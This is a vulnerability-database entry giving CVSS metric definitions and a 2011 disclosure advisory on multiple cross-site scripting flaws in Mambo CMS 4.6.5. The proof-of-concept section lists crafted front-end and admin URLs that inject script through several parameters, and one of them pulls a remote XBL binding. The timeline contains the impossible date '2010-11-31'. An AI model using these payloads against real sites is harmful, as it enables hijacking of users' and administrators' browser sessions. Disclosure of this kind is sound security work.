The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Mambo CMS 4.6.x (4.6.5) | Multiple Cross Site Scripting Vulnerabilities
1. OVERVIEW
Mambo CMS 4.6.5 and lower versions are vulnerable to Cross Site Scripting.
2. BACKGROUND
Mambo is a full-featured, award-winning content management system that
can be used for everything from simple websites to complex corporate
applications. It is used all over the world to power government
portals, corporate intranets and extranets, ecommerce sites, nonprofit
outreach, schools, church, and community sites. Mambo's "power in
simplicity" also makes it the CMS of choice for many small businesses
and personal sites.
3. VULNERABILITY DESCRIPTION
Multiple parameters (task, menu, menutype, zorder, search, client,
section) are not properly sanitized, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.
4. VERSIONS AFFECTED
Tested on Mambo CMS 4.6.5 (current as of 2011-06-27)
5. PROOF-OF-CONCEPT/EXPLOIT
FrontEnd
==============
param: task
http://attacker.in/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32
BackEnd
==============
param: menu
http://attacker.in/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20
param: menutype [hidden form xss, esp in IE 6,7 and older versions of Firefox]
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS
param: zorder
http://attacker.in/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent
param: search
http://attacker.in/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment
param: client
http://attacker.in/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27
NB: mouseover on "banner" link
param: section [hidden form xss, esp in IE 6,7 and older versions of Firefox]
http://attacker.in/mambo/administrator/index2.php?option=com_categories§ion=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
http://attacker.in/mambo/administrator/index2.php?option=com_categories§ion=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
http://attacker.in/mambo/administrator/index2.php?option=com_categories§ion=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
http://attacker.in/mambo/administrator/index2.php?option=com_categories§ion=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
6. SOLUTION
The vendor seems to discontinue the development. It is recommended to
use another CMS in active development.
7. VENDOR
Mambo CMS Development Team
http://mambo-developer.org
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2010-11-31: notified vendor through bug tracker
2011-06-27: no patched version released up to date
2011-06-27: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mambo4.6.x]_cross_site_scripting
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip
#yehg [2011-06-27]
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